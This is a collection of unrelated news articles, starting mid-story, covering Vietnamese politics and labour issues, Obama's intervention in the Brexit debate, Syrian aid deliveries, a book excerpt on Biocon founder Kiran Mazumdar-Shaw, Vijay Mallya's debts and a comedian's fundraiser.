These dishes are not only delicious but also healthy, local residents assert. The increasing popularity of this meat has meant that more and more people catch them, and dong breeding farms have opened in Tuy Phong and Bac Binh districts.

One man in Tuy Phong District told me that his familys income has risen significantly after they opened a dong farm.

I am even happier now that my hometown has now become a great place to visit, not just for me and my family, but for thousands of people from all parts of the world. VNS
LONDON  US President Barack Obama wasted no time in plunging into Britains poisonous EU membership debate Friday, arguing strongly against a "Brexit" as he kicked off a visit to the UK.

Obama went to a traditional bastion of euroscepticism, The Daily Telegraph newspaper, to make the case that Britons should vote to remain in the European Union in the June 23 referendum.

Writing in the broadsheet, Obama argued that Britains place in the EU magnifies its global influence, and its membership is a matter of "deep interest" to the United States.

"I realise that theres been considerable speculation  and some controversy  about the timing of my visit," Obama wrote.

Noting that he wanted to mark the 90th birthday of Queen Elizabeth II on Thursday in person  he and First Lady Michelle Obama will at lunch at Windsor Castle later Friday  the president was also unusually forthright about his countrys interest in Britains EU membership.

Stressing that the choice was purely for the British people, he wrote: "I will say, with the candor of a friend, that the outcome of your decision is a matter of deep interest to the United States.

"The path you choose now will echo in the prospects of todays generation of Americans."

Polls put the pro-EU and Brexit camps neck-and-neck among those who express a preference to vote.

EU spreads British values

Obamas intervention is an unusual overt foray into the domestic politics of another country.

Seen from Washington, Prime Minister David Camerons decision to call a referendum was a bold  if not downright risky  gamble that could leave Britain and the EU badly weakened.

"The EU has helped spread British values and practices  democracy, the rule of law, open markets  across the continent and to its periphery," Obama wrote.

"The European Union doesnt moderate British influence  it magnifies it.

"A strong Europe is not a threat to Britains global leadership; it enhances Britains global leadership," he said.

Britains voice in the EU keeps the bloc "outward looking" and "closely linked" to the United States, he said.

"The US and the world need your outsized influence to continue including within Europe."

For many Atlanticists in the anti-EU camp, Obamas argument against Brexit and in favour the "special relationship" may prove a powerful one.

Obama will likely be asked to weigh in further during a joint press conference with Cameron following talks at his Downing Street office later Friday.

Butt out

Pro-Brexit supporters issued pre-emptive calls for the US president to stay out of the EU referendum debate and cast him as a meddling outsider.

Nigel Farage, leader of the anti-EU UK Independence Party, said Obama should "butt out", while former cabinet minister Iain Duncan Smith said he failed to see how an intervention by the US leader could be "appropriate".

That argument could also be a potent one in a country that shares cultural affinities with the United States, but which is deeply wary of being treated as Washingtons lapdog.

More than 100 lawmakers have reportedly written to the US ambassador in London to make their displeasure known.

Cameron, in the political fight of his life, has tried to stress that close ties with the United States will endure.

He sought to underscore areas of continued cooperation by saying his talks with Obama would focus heavily on the fight against the Islamic State jihadist group.

"Britains relationship with the United States is special and enduring. Based on shared values and convictions it has stood the test of time," Cameron said in a statement.

"I am deeply proud of what it has allowed us to achieve, in dealing with the global challenges we both face.

"I am confident that Britain and the US can continue to build on a solid basis of friendship and a shared commitment to freedom, democracy and enterprise to shape a better world for future generations."

During Obamas visit he and the first lady will dine Friday with Queen Elizabeths grandson Prince William, his wife Kate and his brother Prince Harry.

From Britain he will travel to Germany for a meeting with German Chancellor Angela Merkel and other EU leaders.  AFP
BEIRUT  Aid groups launched their largest humanitarian delivery yet in war-torn Syria on Thursday after the UN evacuated hundreds of besieged residents, intensifying relief efforts even as peace talks falter.

The two operations were a rare sign of humanitarian progress in Syria, where the brutal five-year war has left 270,000 dead as a partial ceasefire hangs by a thread.

The dire humanitarian situation had even stalled UN-backed peace talks in Geneva, with the opposition walking away in frustration at sieges and attacks on civilians.

UN envoy Staffan de Mistura told reporters in Geneva that Thursdays developments showed "modest but real progress".

"If humanitarian aid increases, as there should be, and the cessation of hostilities goes back into what we consider a hopeful mood, that would certainly help the political discussions," he said.

Aid groups began delivering medical and food aid to 120,000 people in and near the besieged rebel-held town of Rastan.

"The people have suffered terribly," said Majda Flihi, who led a team from the International Committee of the Red Cross into the area.

"Peoples livelihoods, especially farming and raising livestock, have been severely affected. Damage to the towns irrigation infrastructure has made the situation even worse," she said.

The ICRC said items for the provision of clean water were also part of the aid delivered in coordination with the Syrian Arab Red Crescent and the United Nations.

"More aid should be delivered in the coming days," it said.

ICRC spokesman Pawel Krzysiek said it was "the largest joint humanitarian convoy we have done in Syria so far".

The last ICRC delivery was in 2012, the same year rebels seized the town in central Homs province.

Major medical evacuation

Both the rebels and regime have used besiegement as a weapon of war in Syria, and more than four million people live under siege or in hard-to-reach areas.

On Thursday, the UN completed a major evacuation of hundreds "in urgent need of life-saving medical attention" and their families, from four other besieged towns.

The carefully synchronised operation began late Wednesday and lasted throughout the night.

It saw 250 evacuees brought out of the rebel-held towns of Madaya and Zabadani near Damascus and then transported to Idlib city.

The same number left Fuaa and Kafraya, pro-government towns under siege by Islamists, and travelled to the regimes coastal bastion in Latakia.

Jihadist factions like the Islamic State group and Al-Qaeda are not party to an increasingly strained truce between the government and non-jihadists rebels.

The "cessation of hostilities" came into force on February 27 and initially saw a significant reduction in bloodshed.

Although none of its signatories have officially declared the truce dead, violence has surged in recent weeks, particularly in Idlib province and the battleground northern city of Aleppo.

On Tuesday, suspected government strikes on the Idlib province towns of Maaret al-Numan and Kafranbel hit two markets, killing at least 44 civilians, said the Syrian Observatory for Human Rights.

The strikes drew a furious reaction from the opposition High Negotiations Committee (HNC) which said they vindicated its decision to suspend its participation in the Geneva talks.

Shred of humanity

The Britain-based Observatory reported new air strikes on Thursday  some involving barrel bombs infamous for their indiscriminate nature  against rebel-held towns in Homs province that are covered by the truce.

The UN as well as Russia and the United States  which brokered the truce  are desperate to see it hold long enough to secure a negotiated settlement of the five-year conflict.

But the HNC walkout has left a political solution increasingly distant, and has emboldened the government delegation to take a tougher line.

The HNCs members were set to all leave Geneva by Friday, an opposition official told AFP.

HNC chief negotiator Mohammed Alloush said the regime would have to "stop its massacres and release thousands of detainees so that it could have a shred of nationalism and humanity."

"Then, the talks can start again," he told journalists as he left his hotel in Switzerland.

The governments chief representative in Geneva, Bashar al-Jaafari, said his delegation would stay the course but that only opposition members "who reject terrorism (and) who do not work for the sake of a foreign agenda" would be permitted to join a "broad-based unity government".

That would appear to rule out the HNC, which he described as a group of "extremists, terrorists and mercenaries" working for Saudi Arabia and Turkey, the oppositions main backers.  AFP
NA Vice Chairwoman Tong Thi Phong and delegates at the meeting.  Photo VNA

HA NOI Viet Nam News - A two-day conference by the National Assembly (NA) Council of Ethnic Affairs opened yesterday in Ha Noi, which aims to improve the electioneering skills of ethnic minority candidates in the upcoming elections of the National Assembly and Peoples Councils.

In his opening speech, Chairman of the Council Ha Ngoc Chien said the conference would help candidates from ethnic minority groups to enhance their skills in election campaigning, especially in building action plans to canvass voters.

While appreciating the Councils initiative to organise the event, NA Vice Chairwoman Tong Thi Phong said this was a meaningful activity to support ethnic minority candidates in improving their knowledge and awareness of theory and reality and their responsibilities as representatives of the people.

She said candidates should pay attention to learning about the Constitution, the laws on the NA and local government organisation, and also the standards required for NA deputies.

Phong, who is also Vice Chairwoman of the National Election Council, noted that candidates should listen to and answer the queries of voters in a respectful and modest manner.

They also needed to increase public awareness of the policies of the Party, State, NA and Government for ethnic people, while showing their ethnic groups cultural identities during their election campaigning.

Participants to the conference heard electioneering experience and basic knowledge related to building and presenting action programmes for candidates, which were shared by experts working in the people-elected agencies.

They were also introduced to the functions, responsibilities and rights of NA deputies and members of Peoples councils, and policies and programmes for mountainous and ethnic minority areas.

Candidates have worked in groups, and practised their presentation and skill in answering press queries on television.

The election of the 14th National Assembly and Peoples Councils at all levels will be held on May 22.  VNS
Deputy Prime Minister and Foreign Minister Pham Binh Minh receves US Deputy Secretary of State Antony Blinken in Ha Noi yesterday.  VNA/VNS Photo Nguyen Khang

HA NOI Viet Nam News - Deputy Prime Minister and Foreign Minister Pham Binh Minh and US Deputy Secretary of State Antony Blinken compared notes on measures to enhance the relationship between Viet Nam and the US in the time ahead during their meeting in Ha Noi yesterday.

The two sides also discussed co-ordination between the Vietnamese Ministry of Foreign Affairs and the US Department of State in organising the upcoming visit to Viet Nam by President Barack Obama in May.

They reminisced about developments in bilateral relations since the two countries issued a Joint Vision Statement during the official visit to the US by Party General Secretary Nguyen Phu Trong in July 2015.

Minh called on the US to continue its close co-ordination with Viet Nam to deepen the two countries comprehensive partnership in a more pragmatic and effective fashion in order to serve their peoples interests and contribute to peace, stability, co-operation and development in the region.

The host reiterated Viet Nams resolve to approve and effectuate the Trans-Pacific Partnership (TPP) agreement, expressing his hope that the US Congress will soon ratify the pact so that it can be put in place, thus helping enhance economic and trade ties between its member countries and promote regional development co-operation.

He also called on the two countries to deepen their bilateral collaboration in the nine areas named in the Viet Nam-US Joint Statement issued in 2013, which takes development co-operation as central to the relationship.

Antony Blinken, in reply, affirmed that US leaders regard the upcoming Viet Nam visit by President Barack Obama as one of the countrys most important diplomatic events in 2016.

Through the visit, President Obama wishes to beef up the comprehensive co-operation between the US and Viet Nam, and learn more about the culture, history and people of the Southeast Asian nation, he said.

The US will continue to join hands with Viet Nam to foster their affiliation in trade, investment, climate change response, education-training, maritime security and post-war consequence settlement, the guest stated.

He hailed Viet Nams determination to negotiate and accelerate the approval of the TPP agreement, saying the move has motivated the US side to swiftly adopt the deal.

Mentioning the East Sea issue, Antony Blinken affirmed the USs backing for the peaceful settlement of disputes in the sea through diplomatic channels and on the basis of international law as well as common standards, including the 1982 Convention on the Law of the Sea, the Declaration on the Conduct of Parties in the East Sea and the joint statement made by US and ASEAN leaders in Sunnylands last February.  VNS
Students are seeking jobs at a job centre. Most of gradute students are struggling with adapting to the real workplace, even after experiencing apprenticeships.  Photo thanhnien.com.vn

HA NOI  Most of gradute students are struggling with adapting to the real workplace, even after experiencing apprenticeships, researchers from the HCM City Pedagogical University have claimed after a two-year study.

The study that garnered 1,180 responses from university students in HCM City found that students faced difficulties in developing apprenticeship plans and getting to know about the workplace where they are to take the apprenticeship. Many feel confused when trying to apply what they have learned at university to real workplace conditions.

Professor Huynh Van Son, who led the study, said that up to 58 per cent of respondents said they had hardly ever used office equipment such as a fax, printer or photocopy machine during apprenticeships. About 56 per cent said that they didnt know how to operate the machines or equipment directly related to production in the industry they study.

He said that the ability to use such machines and equipment was very important to students, but that universities failed to offer proper lessons or chances for students to witness and practice these skills.

Son also said that the students foreign language competence was modest as 43.3 per cent admitted that their English proficiency was below average.

Through their study, Son and his research students have suggested several major reasons why students fail to adapt to real workplace conditions.

Almost of half of those asked said that schools offered them academic theory rather than practice. About one third said they were not equipped with the skills to adapt to a real workplace. Another 31.4 per cent said there was no connection between the university and the firms that received apprentices.

Son said that Vietnamese firms had little need to receive apprentices because Viet Nam does not have a strong industry and the procedures required to have a person instruct apprentices in a real workplace were complicated.

In many cases, firms complained about the employees lack of skills and re-trained them, but few took any move to better co-operate with training institutes. Meanwhile, training programmes at universities have been seemingly compiled and approved by academic scholars, resulting in little practical experience, Son said.

Nguyen Hong Anh, 28, an officer worker in Ha Noi, said that she had taken an apprenticeship in accounting at a private company, but that she could barely do anything related to accounting.

During her apprenticeship she felt herself redundant in the office, she said, adding that the company gave her some information and data so she could write up her apprentice report.  VNS
Residents complete administrative procedure in Bac Giang Province. The home affairs ministry would continue implementing administrative reforms, which focused on improving legislative work for building a socialist State ruled by law and better serving the needs of people. VNA/VNS Photo

HA NOI  Newly-elected Minister of Internal Affairs Le Vinh Tan said the ministry would focus on six key tasks stated by the 12th Party Congresss Resolution and six management priorities stated by the Government, which stepped up the fight against corruption, aims to eliminate cumbersome bureaucracy and implement public administrative reform.

In reply to questions from the Vietnam News Agency about priority issues in the future, Tan said he would focus on the following tasks:

Firstly, the ministry would carry out comprehensive measures on bureaucracy, corruption and enhancing the sense of accountability of leaders and public servants. This would contribute to the transparency, effectiveness and efficiency of the ministry.

Secondly, the ministry would continue implementing administrative reforms, which focused on improving legislative work for building a socialist State ruled by law and better serving the needs of people. The ministry would consult the Government to promulgate and implement more effective and practical policies on public administrative reforms in the future.

Thirdly, the ministry would strengthen discipline in managing civil servants and State employees.

Fourthly, the ministry would downsize and restructure civil servants and state employees following Resolution 39 of the Politburo and the Governments Decree 108. The Law on Organisation of the Central Government would be deployed urgently, which specified the tasks and powers of the Government, the Prime Minister, and the position and role of ministers, and heads of ministerial-level agencies. Based on it, the ministry would build a work structure with job descriptions for the positions of civil servants and State employees.

Fifthly, the ministry would urge local administrations to implement the Law on Organisation of local government this year, which ensured the further decentralisation of the central government from local administrations. It would help raise effectiveness, consistency, and smoothness in the organisation and operation of local administrations at all levels, especially the operation quality of Peoples Councils and Peoples Committees at all levels.

Finally, the ministry would co-ordinate with relevant agencies to successfully hold the elections of National Assembly deputies and Peoples Council at all levels.

In reply to questions about staff downsizing, Tan suggested that the number of those on the State payroll in many sectors should be reduced by at least 10 per cent over the next five years.

Currently, more than 200,000 people are estimated to be on the State payroll.  VNS
HA NOI  Thailand will begin receiving Vietnamese workers to work in the fishing and construction sectors from May, according to the Ministry of Labour, Invalids and Social Affairs (MoLISA).

The MoLISA and the Thai Ministry of Labour have worked together on the implementation of a Memorandum of Understanding on labour co-operation and an agreement on labour recruitment between Viet Nam and Thailand, which were signed between the two countries in 2015.

The deputy head of the MoLISAs Overseas Labour Management, Tong Hai Nam, who chaired the working session, said the two sides agreed on the procedures and steps to send Vietnamese workers to Thailand, including an estimated fee that workers will have to pay and the lists of businesses and units that are allowed to send Vietnamese workers to Thailand.

There are four state agencies that are licensed to send Vietnamese workers to Thailand -- the MoLISAs Overseas Labour Centre and the employment service centres under the department of labour, invalids and social affairs of the central provinces of Nghe An, Ha Tinh and Quang Binh.

Besides this, there are five businesses operating that are also permitted to send Vietnamese workers to Thailand -- SONA, TTLC, THINH LONG CORP, HOANG LONG HURESU and VIHATICO. These businesses and state agencies meet the requirements set by the two countries -- they have experience in sending workers abroad in the construction and fishing sectors, and they have Thai partners to co-operate in supplying labourers in these sectors.

Thailand has agreed to provide Viet Nam, at the end of this month, with samples of labour contracts and other essential documents on the education and training activities for Vietnamese workers before they are sent to Thailand, along with lists of Thai agencies that will receive the Vietnamese workers. Under the agreement on labour co-operation between the two countries, Vietnamese workers will work in the construction and fishing sectors. However, based on the results of the agreement, Thailands actual demand for workers and Viet Nams ability to supply labour, Thailand will then consider receiving Vietnamese workers to work in other sectors.  VNS
Illustrative Image vov.vn

HA NOI  While Vietnamese overseas labourers returning to the country are always appreciated for their professional and foreign language skills, many people find it difficult to find suitable jobs. This causes a big waste of human resources.

Nguyen Hieu ong, from central province of Ha Tinhs Huong Khe District, said he was employed by several Vietnamese enterprises but he couldnt apply the skills he had learned overseas after coming back to Viet Nam last year.

ong used to work as a welder in the shipbuilding industry, which requires skill and high technology, adding that the salary was so low.

Not only ong, but many of his friends cant find jobs relevant to the skills they learned from abroad. As a result, they want to leave for other countries to find jobs.

Nguyen Bich Ha, who lives in the northern province of Phu Thos Lam Thao District, is an example.

Ha has registered for a job in Japan despite the fact that she just returned home late last year.

She cited low wages and being over-qualified as her reasons to go abroad.

According to a survey by the Institute of Labour Science and Social Affairs (ILSSA) under the Ministry of Labour, Invalids and Social Affairs, most provinces and cities dont have accurate numbers of overseas labourers returning home as well as consultations or support policies to help them find stable jobs. The workers have to find jobs or organise their businesses by themselves. Most of them do not develop professional and foreign language skills accumulated after a period working abroad.

Nguyen Lan Huong, former director of ILSSA, said companies just focused on policies to send labourers abroad. The companies paid little attention to policies that create favourable conditions for them to reintegrate into the domestic labour market and enable them to apply the skills they learned overseas, she said.

The fact the Viet Nam hasnt taken advantage of overseas labourers is a waste because many foreign direct investment enterprises operating in the country have a great demand for this human resource," Huong said.

Katsuro Nagai, envoy of the Japanese embassy in Viet Nam, said about 1,500 Japanese enterprises operating in the country were in need of skilled labourers.

The demand for highly skilled workers will rise in parallel with the number of Japanese enterprises in particular and foreign enterprises in general, which are predicted to increase in the future, Nagai said at a seminar held in Ha Noi last week on how to effectively use human resources for the development of Vietnamese industry.

A survey conducted recently by the Japan International Cooperation Agency showed that up to 80 per cent of Japanese enterprises need skilled workers. In the meantime, about 20,000 Vietnamese trainees could not apply their skills and experience after coming home.

Nguyen Luong Trao, chairman of the Viet Nam Labour Export Association, said the efficiency of placing high quality human resources and overseas workers would be promoted if there was a connection between the supply and demand of skilled workers.

To realise this, the Ministry of Labour, Invalids and Social Affairs Department of Overseas Labour (DOLAB) is implementing a project to build a database of overseas Vietnamese labourers.

Once the database is complete, it would act as the basis for supplying human resources for businesses who were in need of qualified workers, according to a DOLAB representative.

The department would organise training on the matter for companies engaged in labourer export and the local departments of labour, invalids and social affairs in the second quarter of this year, the representative said.

Every year, Viet Nam sends around 100,000 labourers abroad. Oversea labourers help in poverty reduction by bringing in valuable incomes for many households. -- VNS
MYTH BREAKER

KIRAN MAZUMDAR-SHAW AND THE STORY OF INDIAN BIOTECH

Author: Seema Singh

Publisher: HarperCollins

Pages: 336

Price: Rs 599



When Unilever bought the Biocon Group [in 1989], it perhaps did not do enough 'due diligence' on the Indian operation. Initially, Bengaluru's activities seemed minor and the minority holding was a lame asset for a company where many saw the Biocon Group acquisition itself as an unwelcome and unnecessary complication. Apart from Ireland, India, Peru and to some extent the Philippines were important locations for the Biocon Group. It took little time for Unilever's seasoned executives to map the opportunity and the company began to manoeuvre and take control of the Indian business.

Every few weeks, some senior executive would descend on Bengaluru. 'It would start off well but would often end with - "What would you want from Unilever?"' says Ajay Bharadwaj [former president-marketing at Biocon]. Unilever was beginning to understand that Kiran [Mazumdar-Shaw] had scant intention of ceding control. On her part, she knew that as long as they were a minority partner, she could call the shots.

After almost eighteen months of trying to convince Kiran to dilute her stakes, a large delegation, which included the global head of R&D at Unilever and his team, came to Bengaluru. In the opening meeting, Kiran gave a presentation, and her first slide, memorable to many, declared that there were three types of companies:

which make things happen

which watch things happen

which wonder what happened

Biocon India, she said, was the first type of company and Unilever was the third type.

That in-your-face presentation left everyone stunned. 'We didn't know where to look. There were board members, some senior managers and the head of Hindustan Unilever. Those days we did not have [smart] phones to fiddle with, we just went red in the face,' recalls Bharadwaj.

If egos were bruised, nobody showed it. Back in Europe, Biocon as a group was having a hard time assimilating itself within the Quest and Unilever family. It was seen as a 'mafia' or a 'Band of Brothers and Sisters' by many. When Kiran visited Naarden, she would often go first, informally, to Mike Powell's office [Powell was a vice-president of finance at Unilever who retired in 2000] in order to 'check the temperature' at senior Food and Corporate levels. 'Mutual trust is a very strong force in business, as in all walks of life,' notes Powell.

With each passing year, the relationship soured some more. In the meetings, in early years, Unilever members would extend 'warm, loving attention' which increasingly became antagonistic. As a former Biocon Group manager recalls, it would often be like, '"We've had enough of this. We know what's best. You little company, you start obeying our rules." It would get rather nasty.'





Mazumdar-Shaw at the Biocon Campus construction site in 1982

Process hygiene was a big deal in Unilever. Hygienic design principles were also critical for people's safety because enzymes can cause allergies and had been a recurring problem earlier at Biocon Ireland. After Unilever improved the processes, allergic reactions stopped. Roland Cocker, who had earlier worked in global companies like Glaxo, said the scientific design principles of Unilever were very special worldwide; even Glaxo was no match for it.

Unilever designed manufacturing and other processes in a way that they did not get dirty easily - the type of material and design used had the least number of crevices and couplings - and if they got dirty they would get cleaned, drained and sterilized quickly, using minimum water, energy and chemicals, at minimum environmental cost. It's an almost Zen-like approach to design, based on experimental results from science and it was new to the Biocon Group.

'If you take a lot of biotech plants from big pharma companies, you'll find they use couplings and valves which are very common; they wouldn't pass the process cleanability test,' says Cocker, who now runs Cocker Consulting, which specializes in hygiene design principles and does food safety and quality audits for the National Sanitary Foundation in the US.

Mazumdar-Shaw (second from right) at work during Biocons early days

Around that time, Unilever had asked its businesses to qualify for the International Organization for Standardization (ISO) certification. For all her fiercely guarded independence, Kiran was ready to 'toe the line' when it came to conforming to their processes to benchmark her company against global standards. Biocon India grabbed the opportunity and became the first business within the Unilever Group, and only the third company in India (the two others being Bosch-Mico and Widia, both mechanical engineering companies), to get ISO 9001 certification from the German authority RWTUV.

'I was passionate about building credibility for an Indian company. I wanted the Made-in-India label to be of high quality,' she remembers, even though it meant writing their own quality manuals and fumbling along the way.

In 1994, when Biocon India wanted to expand its export-oriented BioChemizyme capacity fourfold, Unilever wanted a 50 per cent share. So they decided to set up a new plant called Biocon-Quest. By then, the Indian market was opening up, following the economic reforms of 1991. There was an attractive Export Promotion Capital Goods (EPCG) scheme which let companies pay a reduced import duty of a mere 5 per cent and sell their products wherever they wanted on the condition that they would have to export seven times the worth of goods they imported.

The investment in Biocon-Quest amounted to Rs 12 crore, of which the two partners would pay Rs 2 crore each and the rest would come from Deutsche Bank, an old lender for Unilever. Since the amount was over the authorized limit of Quest management, the proposal had to go to a special committee for approval within the Unilever Group. It could take six months or more, Bengaluru was told.

'I was ready to start, like, tomorrow. I couldn't wait. I was short on capacity because pectinases were doing very well. I wanted to complete the plant in one year, so I didn't wait for their approval. I put in my money and the borrowing, and I started,' says Kiran. On the day of the plant inauguration in 1995, Victor Rensing, chief executive of Quest, gave her the cheque and complimented her for 'fast execution', but it came packaged with some flak 'for violating the norms of a multinational'. (For a while, there was an internal joke at Biocon about who Con-Quested whom.)





Mazumdar-Shaw with Nobel laureate James Watson during his visit to Biocon in 1999

When Kiran, avoiding getting caught in bureaucracy and certainly with no intention of forfeiting her freedom, kept ignoring those messages, Keki Dadiseth [former HUL chief executive] said she was sending the 'wrong signals'. At one point, Kiran told him, 'You keep telling me I'm sending wrong signals, but what assurance are you giving that you will stay invested in biotechnology? Can you ensure 1 per cent will translate into a guarantee that you will not sell the biotech [division]?' 'If anything,' she added in half jest, 'I'd like to buy back your share.'Dadiseth hushed it: 'Don't even say such things.'

After that visit, he proposed to Kiran that they forge a research partnership. She suggested fungal pharmaceuticals; he recommended statins, a class of small molecules that lower the cholesterol level in blood by reducing cholesterol production in the liver. Lovastatin was a rage those days. Even though the drug was approved by the US Food and Drug Administration in 1987, a landmark study had been published in 1994. It dismissed the ambiguities surrounding lovastatin's beneficial effects in reducing LDL (low-density lipoprotein) cholesterol which significantly reduced recurrence of heart attacks. Pharmaceutical company Merck had commercialized the product, but its patent was expiring in 2001.

Biocon's willingness to develop lovastatin was instinctive. It was a fermentation product, one which was first discovered by enzyme researcher Akira Endo at Sankyo Corporation in Japan, a country where the earliest record of the Koji enzyme technology can be traced back to the third century ad. In the late 1970s, Endo had identified compounds, later named compactin or mevastatin, from the mould that infected the Japanese orange. But Sankyo dropped the project after some initial toxicity results. A few years later, Merck took it up and did larger studies to understand the mechanism of reported toxicity, and finally brought it to the clinics.

Kiran promised Singh that Biocon would develop high-yielding micro-organism strains, and the two companies' R&D teams got on to it with their respective strengths - Biocon using solid state fermentation, Ranbaxy using submerged fermentation. 'We saw it as an opportunity to get into manufacturing - we would have created two technologies; in any case, they were into marketing,' Kiran recalls.

By the mid-1990s, under its own strategic shift, Biocon sniffed the opportunities in pharmaceuticals and started research for lovastatin under the new company Helix, away from Unilever's scrutiny and interference.

'I had said if Ranbaxy gave us the strains, we could adapt and improve the strain for solid state fermentation,' Shri says. 'Sure enough, we did it. But it surprised the hell out of everybody when Ranbaxy, which was struggling to scale up its own laboratory work, changed its mind and decided to do it alone.'



Before the statin collaboration, Ranbaxy and Biocon had contemplated a business association when the former needed enzymes for its flagship product, penicillin, for which the starting raw material was a fermented product, 6-amino penicillin acid. Biocon was one of the leading enzyme producers those days, but, for a lack of capacity, most of which was already committed to the brewing industry, it could not produce enzymes for Ranbaxy.

On its part, Ranbaxy never intended to get directly into fermentation, primarily because it was a chemistry-driven company and wished to remain so. No less importantly, Singh was married into the Radhaswamy Satsang family whose guru was his father-in-law. 'So the question of Singh getting involved in manufacturing something that had anything to do with alcohol or intoxication was not possible,' said Bimal Raizada, a long-term Ranbaxy executive who handled different responsibilities at different times, at one point even running the non-pharmaceutical businesses of the family.

Singh was basically proposing that Biocon set up the production unit and Ranbaxy would consume the enzymes. The deal did not work out and Ranbaxy ended up making an investment in a small unit near Kangra in Himachal Pradesh. Gist-Brocadis helped transfer the technology to Max India to make the enzyme. The Singh family had a clear understanding that Ranbaxy and Max were separate companies and that the latter would do biotechnology. However, a director on Ranbaxy's board, D.D. Chopra, was a good friend of Kiran and he, to an extent, 'influenced Ranbaxy in building a bond with Biocon'.

By the early 1990s, it was clear to Singh, who had until then focused largely on anti-infectives, that major diseases in India would be related to hypertension and heart attack. 'We did take on a few blood-pressure-related products but we were unsuccessful. For cardiac cases, we had identified a range of statins and that's how Dr Singh wanted to collaborate with Kiran,' said Raizada, who passed away in March 2015.

To avoid getting into fermentation, which was becoming integral to many drugs it was producing, Ranbaxy signed a collaborative agreement with Hoechst - before it merged with the French company Rhone-Poulenc to become Aventis - to buy the state-owned Hindustan Antibiotics Limited (HAL) in Pune. There was going to be a three-member partnership which would form the biologics arm of Ranbaxy. But the government could not make up its mind on spinning off HAL, which had good manufacturing facilities for certain fermented products, including penicillin. A major producer of penicillin in Europe, Hoechst was meant to provide new strains to HAL.

While all this planning was going on in Singh's mind, in early 1999, he invited Kiran and John Shaw [her husband] to Delhi. At Ranbaxy House in Nehru Place, after a lavish lunch, Singh asked the others to leave and had a private conversation with Kiran and Shaw. 'Kiran, I want to make a proposal to you. I'm very keen to see if Biocon can become part of the Ranbaxy family. You are doing a tremendous job,' Kiran recalls him saying. He offered Ranbaxy shares, a board position in his company and the right to run Biocon.

'I told him,' says Kiran, 'it's a great honour to be asked by you but I am not ready to even consider such a proposal. He understood and said, "If you ever reconsider, let me know."'



Singh was thinking of biotechnology, but the rest of the company wasn't. 'If you ask me what the reaction was at that lunch meeting, people were saying: "You are doing well in biotech, I wish you luck; but I am good and doing well in chemistry",' said Raizada. That inherent aloofness, if not outright aversion, to biotech would come back to haunt Ranbaxy a few years later.

All plans fell apart later in 1999 - Hoechst merged with Rhone-Poulenc; the Indian government could not come to a decision on hiving off Hindustan Antibiotics; and Singh, fifty-six years old, tragically succumbed to cancer in July.

Excerpted with permission from HarperCollins from Mythbreaker: Kiran Mazumdar-Shaw and the Story of Indian Biotech by Seema Singh
Vijay Mallya, the Indian liquor baron battling creditors seeking to recover dues, offered to deposit Rs 1,590 crore ($240 million) with India's top court to establish his intent to settle with lenders who had rejected an earlier payment proposal.

Lawyers representing the founder of the collapsed Kingfisher Airlines Ltd, who the government says left the country earlier this year, filed an affidavit in the Supreme Court on Thursday in response to a directive to declare all his assets. The debt owed by the failed carrier is at the centre of India's drive to crack down on defaulters and clean up the balance sheets of its banks weighed down by soured loans.

Mallya also told the court that overseas assets are not considered while granting loans, and sought permission to file information of his assets in a sealed cover on June 26.

He also said banks had no right to any of this information as they were not involved in overseas assets recast. He further added that he can make an additional payment of Rs 1,398 crore withheld by the Karnataka High Court.

Reiterating his earlier position, Mallya told the court he isn't a "wilful defaulter" and the airline was "genuine commercial failure."



He was making all efforts to work out a settlement "in all sincerity" by offering to pay "to the extent possible and feasible" until the government suspended his passport and a court in Mumbai issued a non-bailable warrant against him, he said in the filing.

India's foreign ministry, acting on an application by the Enforcement Directorate, said April 15 that Mallya had a week to respond to why his diplomatic passport shouldn't be impounded or revoked, after suspending it for four weeks. The government says Mallya and Kingfisher owed as much as 90.9 billion rupees ($1.37 billion) as of November 30.

Meanwhile, armed with a non-bailable arrest warrant against him, the Enforcement Directorate has approached the External Affairs Ministry seeking initiation of deportation proceedings against Mallya in connection with its money laundering probe against him in the Rs 900 crore IDBI alleged loan fraud case.

The agency has written to the ministry of external affairs and will also soon write to the Central Bureau of Investigation to get an Interpol Red Corner Notice issued against Mallya to get him arrested, based on the warrant issued by a Mumbai court.

Last week, MEA had suspended Mallya's diplomatic passport and has sought a reply from him as to why his passport should not be revoked.

Sources said once the deportation proceedings are initiated, MEA will seek assistance of its counterparts in the United Kingdom to interdict Mallya and fly him back to India.

"The grounds for deportation are primarily two. A non-bailable warrant issued by the Mumbai court and suspension of the passport of the businessman," they said.

Mallya is understood to be in the UK after he left India on March 2.

A Hyderabad court had on Wednesday convicted Mallya in a cheque-bouncing case filed against him by GMR Hyderabad International Airport.

With the latest request for deportation, the ED has virtually deployed all legal measures in place to bring back Mallya to India and make him join investigations "in person", which the agency had stated in a Mumbai court was essential to take the probe forward in the case.

The 60-year-old industrialist has skipped three summons issued by ED in this regard in the past. He had also sought time till May to depose before agency investigators.

ED has registered a money laundering case against Mallya and others based on an FIR registered last year by the CBI.

The agency is not only investigating the financial structure of the now defunct Kingfisher Airlines but also looking into any payment of kickbacks to secure loans from IDBI and probing laundering of funds to overseas destinations by the group.

The agency had alleged that Mallya had siphoned off Rs 430 crore of the IDBI loan and used this money to acquire properties abroad, a charge denied by Kingfisher.
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03:18 Xi Jinping secures third term Chinas President Xi Jinping has secured his place as China's most influential, longest-serving president since revolutionary leader Mao Zedong....

02:09 Rishi Sunak enters UK leadership contest Former UK Chancellor Rishi Sunak is the front-runner to become the next British Prime Minister, as he formally announced his leadership bid.

01:08 Boris Johnson will not run for UK Prime Minister Boris Johnson has announced he will not run for the leadership of the UK Conservative Party.

04:04 Lismore residents told to prepare for evacuation NSW SES Assistant Commissioner Sean Kearns says Lismore has had more than 100 millimetres of rain in the last 24 hours, with the town currently...
CEDAR FALLS  Tim Cavanagh has been laughed at for more than 20 years. Hes been laughed at at colleges, business meetings, fundraisers and awards banquets.

On Saturday, Cedar Falls will be laughing at him, too.

The comedian will perform at 7 p.m. in the Cedar Falls High School auditorium. Doors open at 6:15 p.m. The event is a fundraiser benefiting child abuse prevention and Toys for Tots.

Tim Cavanagh is a professional comedian and speaker, which has come as a complete shock to his family. They still remember him as the guy who refused to say a single word for the first 19 months of his life. Now, hes making up for lost time.

For two decades, Cavanaugh has brought his clean and engaging comedy to hundreds of business groups across the U.S. and Canada.

His national credits include ABC-TV, Comedy Central, Showtime and WGN America. He can be heard regularly on the nationally syndicated Bob & Tom radio show, where he has been a featured contributor for over a decade. His funny songs have been showcased on Sirius XM radio, the Dr. Demento radio show and BBC Radio 4. Hes even been heard on Continental Airlines  with no additional baggage fees!

